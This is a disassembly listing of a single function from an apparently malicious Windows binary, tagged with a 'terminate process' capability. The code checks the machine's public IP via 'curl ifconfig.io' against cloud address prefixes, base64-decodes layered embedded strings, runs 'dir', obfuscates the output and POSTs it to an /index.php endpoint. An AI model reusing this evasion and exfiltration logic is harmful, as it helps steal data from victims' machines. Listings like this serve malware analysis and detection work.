Function at 0x40b340
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41d8bf
mov eax, dword fs:[0]
push eax
sub esp, 0x2e8
mov eax, dword [0x425040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.curl_ifconfig.io
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.004111c0
lea edx, [ebp - 0x2c]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x154]
call fcn.0040af30
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x40b3e0
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b3d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40b3d6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041bc2c
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push 7
push str.106.75.
lea ecx, [ebp - 0x2f4]
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
movq qword [ebp - 0x38], xmm0
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x2f4], xmm0
mov dword [ebp - 0x2e4], 0
mov dword [ebp - 0x2e0], 0
call fcn.004111c0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2dc]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x2cc], 0
push str.172.174
movups xmmword [ebp - 0x2dc], xmm0
mov dword [ebp - 0x2c8], 0
call fcn.004111c0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2c4]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x2b4], 0
push str.13.89.1
movups xmmword [ebp - 0x2c4], xmm0
mov dword [ebp - 0x2b0], 0
call fcn.004111c0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2ac]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x29c], 0
push str.52.149.
movups xmmword [ebp - 0x2ac], xmm0
mov dword [ebp - 0x298], 0
call fcn.004111c0
mov byte [ebp - 4], 6
push 0x60
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
call fcn.0041b896
mov esi, eax
add esp, 4
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x14], eax
lea ecx, [esi + 0x60]
mov dword [ebp - 0x30], ecx
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x20], xmm0
lea edi, [ebp - 0x2f4]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 8
push edi
mov ecx, esi
call fcn.0040db60
add esi, 0x18
lea eax, [ebp - 0x294]
add edi, 0x18
mov dword [ebp - 0x1c], esi
cmp edi, eax
jne 0x40b523
push ecx
mov edx, esi
mov ecx, esi
call fcn.004112b0
add esp, 4
mov dword [ebp - 0x34], esi
push fcn.0040da50
push 4
push 0x18
lea eax, [ebp - 0x2f4]
mov byte [ebp - 4], 0xa
push eax
call fcn.0041b8c6
mov ecx, 7
mov dword [ebp - 0x12c], 0
cmp dword [ebp - 0x144], ecx
lea eax, [ebp - 0x154]
xorps xmm0, xmm0
mov dword [ebp - 0x128], 0
cmovb ecx, dword [ebp - 0x144]
cmp dword [ebp - 0x140], 0xf
push ecx
cmova eax, dword [ebp - 0x154]
lea ecx, [ebp - 0x13c]
push eax
movups xmmword [ebp - 0x13c], xmm0
call fcn.004111c0
xor ecx, ecx
mov byte [ebp - 4], 0xb
mov edi, dword [ebp - 0x34]
xor eax, eax
mov edx, dword [ebp - 0x13c]
mov dword [ebp - 0x278], eax
nop
mov esi, dword [ebp - 0x38]
inc ecx
mov dword [ebp - 0x14], ecx
cmp esi, edi
je 0x40b645
cmp dword [ebp - 0x128], 0xf
seta cl
mov byte [ebp - 0x279], cl
nop dword [eax + eax]
test cl, cl
lea eax, [ebp - 0x13c]
mov ecx, esi
cmovne eax, edx
cmp dword [esi + 0x14], 0xf
jbe 0x40b605
mov ecx, dword [esi]
push dword [ebp - 0x12c]
mov edx, dword [esi + 0x10]
push eax
call fcn.00413a80
add esp, 8
test al, al
jne 0x40b62e
mov cl, byte [ebp - 0x279]
add esi, 0x18
mov edx, dword [ebp - 0x13c]
cmp esi, edi
jne 0x40b5f0
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x13c]
cmp esi, edi
jne 0x40c7a5
inc eax
mov dword [ebp - 0x278], eax
cmp eax, 0x3e8
jl 0x40b5d0
cmp ecx, 0x3e8
jne 0x40c7a5
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0
lea eax, [ebp - 0x48]
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0xc
call dword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Init_bool_]
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xd
call fcn.00411a10
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x40]
push eax
call fcn.0040e5e0
mov dword [ebp - 0x44], eax
add esp, 4
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x4c]
push 0x41f72d
push str._d1_3._3d1_3
call fcn.00410850
mov byte [ebp - 4], 0xf
lea esi, [ebp - 0x154]
cmp dword [ebp - 0x140], 0xf
mov edi, dword [ebp - 0x144]
cmova esi, dword [ebp - 0x154]
add edi, esi
cmp dword [ebp - 0x4c], 0
je 0x40c7a5
push 0x80
lea eax, [ebp - 0x274]
mov byte [ebp - 0x278], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x274]
add esp, 0xc
push 0x10
push dword [eax + 0x14]
push dword [eax + 0x1c]
push eax
lea eax, [ebp - 0x48]
push eax
push edi
push esi
call fcn.00414040
push 0
push 0
lea ecx, [ebp - 0x274]
mov byte [ebp - 4], 0x10
call fcn.004156a0
test al, al
je 0x40b748
mov byte [ebp - 0x278], 1
jmp 0x40b7df
cmp esi, edi
je 0x40b7df
mov eax, dword [ebp - 0x214]
lea ecx, [ebp - 0x274]
or eax, 0x100
and eax, 0xffffdfff
push 0
mov dword [ebp - 0x214], eax
lea eax, [esi + 1]
push edi
push eax
call fcn.00415410
mov esi, eax
cmp esi, edi
je 0x40b7b1
nop
push 0
push 0
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x220], esi
call fcn.004156a0
test al, al
jne 0x40b73c
push 0
push edi
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x274]
call fcn.00415410
mov esi, eax
cmp esi, edi
jne 0x40b780
push 0
push 0
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x220], edi
call fcn.004156a0
mov ecx, dword [ebp - 0x278]
test al, al
movzx ecx, cl
mov edx, 1
cmovne ecx, edx
mov dword [ebp - 0x278], ecx
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x234]
test ecx, ecx
je 0x40b847
mov eax, dword [ebp - 0x22c]
sub eax, ecx
sar eax, 3
lea edx, [eax*8]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b81f
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40b81f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0041bc2c
add esp, 8
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0
lea ecx, [ebp - 0x254]
call fcn.00411e00
lea ecx, [ebp - 0x274]
call fcn.00411e00
cmp byte [ebp - 0x278], 0
je 0x40c7a5
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x41f730
push 0x4107b0
call fcn.0040e6e0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push pe_nt_image_headers32
xorps xmm0, xmm0
mov dword [ebp - 0x15c], 0
push str.Vm0wd2QyVkZNVWRXV0doVFYwZG9WMWx0ZEhkVE1WcHpXa2M1V0ZKdGVGWlZiVFZyVmxVeFYyTkliRmROYWxaeVZtMXplRll5U2tsYVJtUk9ZV3RhU1ZadGVGZGpNV1JYVW01T2FWSnNXbGhaYkZwSFRURmFjbHBFVWxwV01ERTBWa2MxVDJGV1NuVlJhekZYWVd0YVMxcFhlR0ZqTVdSMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001
lea ecx, [ebp - 0x16c]
mov dword [ebp - 0x158], 0
movups xmmword [ebp - 0x16c], xmm0
call fcn.004111c0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x124]
push 0x90
xorps xmm0, xmm0
mov dword [ebp - 0x114], 0
push str.Vm0wd2VFMUdSWGROVldSWFYwZG9WbGxVUW1GV1ZsbDNXa1JTVjAxWGVEQlpNM0JIWVd4S2MxZHFRbFZXYlUweFZteFZlRll5U2tsYVJtUnBWMFpLYjFac1ZtRldNVnBXVFZWV2FHVnFRVGs9
movups xmmword [ebp - 0x124], xmm0
mov dword [ebp - 0x110], 0
call fcn.004111c0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x10c]
push 0x150
xorps xmm0, xmm0
mov dword [ebp - 0xfc], 0
push str.Vm0wd2VHTXhTWGhpUm1ScFVtMW9WVlpxU205V1JsbDNXa1JTVjFKdGVEQmFWVll3VmpGYWMySkVUbGhoTVVwVVZtMTRTMk15VGtWU2JIQk9VbXh3ZVZkV1dsZGpNVmw1Vkd0c2FGSnNjRTlaYlhNeFRXeGtWMWR0ZEZSTlZXdzBWa2MxUzFkSFNrZGpSazVXVFVad1RGcFdXbXRXTVhCSlkwZG9VMDFFVlhkV2EyUXdXVlphV0ZOclpHcFNiRXBoV1ZSR1lWbFdiRmhsUjBaWFlrZFNlVll5ZERSVk1rVjNZMFpTVjFaV2NGTmFSRVpEVld4Q1ZVMUVNRDA9
movups xmmword [ebp - 0x10c], xmm0
mov dword [ebp - 0xf8], 0
call fcn.004111c0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xf4]
push 0x200
xorps xmm0, xmm0
mov dword [ebp - 0xe4], 0
push str.Vm0wd2QyVkhVWGhVV0dScVVsZG9WRlpxU205V01WbDNXa1JTVjFac2JETlhhMUpUVmpGYWRHVkdiR0ZXVjFKSVZtMXplRll5VGtsaFJtUlRaV3RGZUZacVFtRlRNazE1Vkd0V1VtSklRazlVVkVKTFUxWmFjMVZyU214U2JHdzFWa2QwYTJGV1NYZFhiR2hYWWxob00xWldXbUZrUlRGWlkwZG9VMkpIZHpCV1ZFa3hVakZhV0ZOcmFGWmhlbXhoV1d4b2IxTXhiRmhsUjBaclVqRmFTVlZ0ZUZOVWJGcDBaVWhhVjJGcmEzaFdha1poVjBaT2NtRkhhRk5pUlhCWlYxZDRiMkl3TUhoWGJrNVlZbGhTV1ZWcVJrdFRWbkJHVjJ4a2FGWnNjSHBaTUZwM1ZqSktTRlZZWkZkaGExcFlXa1ZhVDJNeVJraGxSazVYVWpOb1dGWnRNVFJaVm14WFYxaG9WbUpyTlZSV2EyUTBWV3hhVjFWWVpGQlZWREE1
movups xmmword [ebp - 0xf4], xmm0
mov dword [ebp - 0xe0], 0
call fcn.004111c0
xorps xmm0, xmm0
mov dword [ebp - 0xb4], 0
movups xmmword [ebp - 0xc4], xmm0
mov dword [ebp - 0xb0], 0xf
mov byte [ebp - 0xc4], 0
movups xmmword [ebp - 0xac], xmm0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0xf
mov byte [ebp - 0xac], 0
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 0xf
mov byte [ebp - 0x94], 0
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0xf
mov byte [ebp - 0x7c], 0
mov byte [ebp - 4], 0x18
xor edi, edi
lea edx, [ebp - 0x16c]
lea ecx, [ebp - 0x294]
call fcn.0040ac60
mov esi, eax
lea eax, [ebp - 0xc4]
cmp eax, esi
je 0x40ba60
mov ecx, dword [ebp - 0xb0]
cmp ecx, 0xf
jbe 0x40ba38
mov edx, dword [ebp - 0xc4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ba2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3d0
push ecx
push edx
call fcn.0041bc2c
add esp, 8
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0xc4], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0xb4], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x280]
cmp ecx, 0xf
jbe 0x40ba9a
mov edx, dword [ebp - 0x294]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ba90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3d0
push ecx
push edx
call fcn.0041bc2c
add esp, 8
lea edx, [ebp - 0x124]
lea ecx, [ebp - 0x294]
call fcn.0040ac60
mov esi, eax
lea eax, [ebp - 0xac]
cmp eax, esi
je 0x40bb19
mov ecx, dword [ebp - 0x98]
cmp ecx, 0xf
jbe 0x40baf1
mov edx, dword [ebp - 0xac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bae7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3d0
push ecx
push edx
call fcn.0041bc2c
add esp, 8
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0xac], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x9c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x280]
cmp ecx, 0xf
jbe 0x40bb53
mov edx, dword [ebp - 0x294]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bb49
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3d0
push ecx
push edx
call fcn.0041bc2c
add esp, 8
lea edx, [ebp - 0x10c]
lea ecx, [ebp - 0x294]
call fcn.0040ac60
mov esi, eax
lea eax, [ebp - 0x94]
cmp eax, esi
je 0x40bbcf
mov ecx, dword [ebp - 0x80]
cmp ecx, 0xf
jbe 0x40bba7
mov edx, dword [ebp - 0x94]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bb9d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3d0
push ecx
push edx
call fcn.0041bc2c
add esp, 8
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x94], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x84], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x280]
cmp ecx, 0xf
jbe 0x40bc09
mov edx, dword [ebp - 0x294]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bbff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3d0
push ecx
push edx
call fcn.0041bc2c
add esp, 8
lea edx, [ebp - 0xf4]
lea ecx, [ebp - 0x294]
call fcn.0040ac60
mov esi, eax
lea eax, [ebp - 0x7c]
cmp eax, esi
je 0x40bc79
mov ecx, dword [ebp - 0x68]
cmp ecx, 0xf
jbe 0x40bc57
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bc4d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3d0
push ecx
push edx
call fcn.0041bc2c
add esp, 8
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x7c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x6c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x280]
cmp ecx, 0xf
jbe 0x40bcb3
mov edx, dword [ebp - 0x294]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bca9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3d0
push ecx
push edx
call fcn.0041bc2c
add esp, 8
cmp edi, 5
jne 0x40be12
lea edx, [ebp - 0xc4]
lea ecx, [ebp - 0x294]
call fcn.0040ae80
push eax
lea ecx, [ebp - 0xc4]
call fcn.0040daa0
mov ecx, dword [ebp - 0x280]
cmp ecx, 0xf
jbe 0x40bd13
mov edx, dword [ebp - 0x294]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bd09
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3d0
push ecx
push edx
call fcn.0041bc2c
add esp, 8
lea edx, [ebp - 0xac]
lea ecx, [ebp - 0x294]
call fcn.0040ae80
push eax
lea ecx, [ebp - 0xac]
call fcn.0040daa0
mov ecx, dword [ebp - 0x280]
cmp ecx, 0xf
jbe 0x40bd6a
mov edx, dword [ebp - 0x294]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bd60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3d0
push ecx
push edx
call fcn.0041bc2c
add esp, 8
lea edx, [ebp - 0x94]
lea ecx, [ebp - 0x294]
call fcn.0040ae80
push eax
lea ecx, [ebp - 0x94]
call fcn.0040daa0
mov ecx, dword [ebp - 0x280]
cmp ecx, 0xf
jbe 0x40bdc1
mov edx, dword [ebp - 0x294]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bdb7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3d0
push ecx
push edx
call fcn.0041bc2c
add esp, 8
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x294]
call fcn.0040ae80
push eax
lea ecx, [ebp - 0x7c]
call fcn.0040daa0
mov ecx, dword [ebp - 0x280]
cmp ecx, 0xf
jbe 0x40be12
mov edx, dword [ebp - 0x294]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40be08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3d0
push ecx
push edx
call fcn.0041bc2c
add esp, 8
cmp dword [ebp - 0xb0], 0xf
lea eax, [ebp - 0xc4]
push dword [ebp - 0xb4]
cmova eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0x16c]
push eax
call fcn.0040d8b0
cmp dword [ebp - 0x98], 0xf
lea eax, [ebp - 0xac]
push dword [ebp - 0x9c]
cmova eax, dword [ebp - 0xac]
lea ecx, [ebp - 0x124]
push eax
call fcn.0040d8b0
cmp dword [ebp - 0x80], 0xf
lea eax, [ebp - 0x94]
push dword [ebp - 0x84]
cmova eax, dword [ebp - 0x94]
lea ecx, [ebp - 0x10c]
push eax
call fcn.0040d8b0
cmp dword [ebp - 0x68], 0xf
lea eax, [ebp - 0x7c]
push dword [ebp - 0x6c]
cmova eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0xf4]
push eax
call fcn.0040d8b0
inc edi
cmp edi, 0xa
jb 0x40b9e1
lea edx, [ebp - 0x124]
lea ecx, [ebp - 0x1ac]
call fcn.0040af30
lea edx, [ebp - 0x10c]
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x194]
call fcn.0040af30
lea edx, [ebp - 0xf4]
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0xdc]
call fcn.0040af30
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xdc]
mov eax, dword [ebp - 0xcc]
add eax, 0xfffffff8
push 0x41fc34
push eax
call fcn.0040d7c0
mov ecx, dword [ebp - 0xcc]
mov edi, closesocket
mov eax, edi
sub eax, ecx
cmp eax, 4
jb 0x40c7ad
cmp dword [ebp - 0xc8], 0xf
lea eax, [ebp - 0xdc]
push ecx
cmova eax, dword [ebp - 0xdc]
push eax
push 4
push str.dir
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2c]
call fcn.00412520
lea edx, [ebp - 0x2c]
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1f4]
call fcn.0040af30
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x40bf8b
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bf81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40bf81
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041bc2c
add esp, 8
push 0x270
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
call fcn.0041b896
mov esi, eax
mov dword [ebp - 0x14], esi
push 0x270
push 0
push esi
mov byte [ebp - 4], 0x1f
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
lea eax, [ebp - 0x16c]
mov ecx, esi
push 0x1389
push eax
call fcn.00404dc0
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x20
mov ecx, edi
mov edx, dword [ebp - 0x19c]
sub ecx, edx
mov esi, dword [ebp - 0x184]
cmp ecx, esi
jb 0x40c7b2
cmp dword [ebp - 0x198], 0xf
lea ecx, [ebp - 0x1ac]
push esi
cmova ecx, dword [ebp - 0x1ac]
lea eax, [ebp - 0x194]
cmp dword [ebp - 0x180], 0xf
cmova eax, dword [ebp - 0x194]
push eax
push edx
push ecx
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2c]
call fcn.00412520
lea eax, [ebp - 0x1f4]
mov byte [ebp - 4], 0x21
push eax
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x1dc]
call fcn.0040f1a0
add esp, 4
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x40c080
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c076
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40c076
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041bc2c
add esp, 8
lea edx, [ebp - 0x1dc]
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x294]
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
call fcn.0040b070
push eax
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x24
call fcn.0040db60
cmp dword [ebp - 0x50], 0xf
lea eax, [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
jbe 0x40c0c4
mov eax, ecx
mov esi, ecx
mov edi, ecx
jmp 0x40c0c9
lea esi, [ebp - 0x64]
mov edi, eax
mov edx, dword [ebp - 0x54]
add esi, edx
cmp edi, esi
je 0x40c14f
mov cl, byte [eax]
cmp cl, 0x30
jne 0x40c0e2
mov byte [eax], 0x21
jmp 0x40c144
cmp cl, 0x32
jne 0x40c0ec
mov byte [eax], 0x40
jmp 0x40c144
cmp cl, 0x34
jne 0x40c0f6
mov byte [eax], 0x23
jmp 0x40c144
cmp cl, 0x36
jne 0x40c100
mov byte [eax], 0x24
jmp 0x40c144
cmp cl, 0x38
jne 0x40c10a
mov byte [eax], 0x25
jmp 0x40c144
cmp cl, 0x31
jne 0x40c114
mov byte [eax], 0x47
jmp 0x40c144
cmp cl, 0x33
jne 0x40c11e
mov byte [eax], 0x2d
jmp 0x40c144
cmp cl, 0x35
jne 0x40c128
mov byte [eax], 0x48
jmp 0x40c144
cmp cl, 0x37
jne 0x40c132
mov byte [eax], 0x28
jmp 0x40c144
cmp cl, 0x39
jne 0x40c13c
mov byte [eax], 0x29
jmp 0x40c144
cmp cl, 0x20
jne 0x40c144
mov byte [eax], 0x7e
inc eax
cmp eax, esi
jne 0x40c0d6
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x64]
mov byte [ebp - 4], 0x26
mov eax, dword [ebp - 0x280]
cmp eax, 0xf
jbe 0x40c197
mov edx, dword [ebp - 0x294]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c187
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40c187
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041bc2c
mov edx, dword [ebp - 0x54]
add esp, 8
mov ecx, dword [ebp - 0x64]
mov eax, closesocket
mov dword [ebp - 0x284], 0
sub eax, edx
mov dword [ebp - 0x280], 0xf
mov byte [ebp - 0x294], 0
cmp eax, 5
jb 0x40c7b7
cmp dword [ebp - 0x50], 0xf
lea eax, [ebp - 0x64]
push edx
cmova eax, ecx
push eax
push 5
push str.data
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1c4]
call fcn.00412520
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x294]
xorps xmm0, xmm0
mov dword [ebp - 0x284], 0
push 0x21
push str.application_x_www_form_urlencoded
movups xmmword [ebp - 0x17c], xmm0
mov dword [ebp - 0x280], 0
movups xmmword [ebp - 0x294], xmm0
call fcn.004111c0
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x2c]
push 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str._index.php
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
call fcn.004111c0
lea eax, [ebp - 0x294]
mov byte [ebp - 4], 0x29
mov edi, dword [ebp - 0x14]
mov ecx, edi
push eax
lea eax, [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x17c]
push eax
call fcn.0040ab10
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x40c2a2
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c298
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0x280]
cmp ecx, 0xf
jbe 0x40c2dc
mov edx, dword [ebp - 0x294]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c2d2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
lea eax, [ebp - 0x174]
push eax
mov ecx, eax
call fcn.004107e0
mov esi, dword [ebp - 0x17c]
test esi, esi
je 0x40c309
mov ecx, esi
call fcn.00401a80
push 0xc8
push esi
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0x1b0]
cmp ecx, 0xf
jbe 0x40c343
mov edx, dword [ebp - 0x1c4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c339
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0x50]
cmp ecx, 0xf
jbe 0x40c377
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c36d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0x1c8]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
cmp ecx, 0xf
jbe 0x40c3c3
mov edx, dword [ebp - 0x1dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c3b9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
test edi, edi
je 0x40c3cf
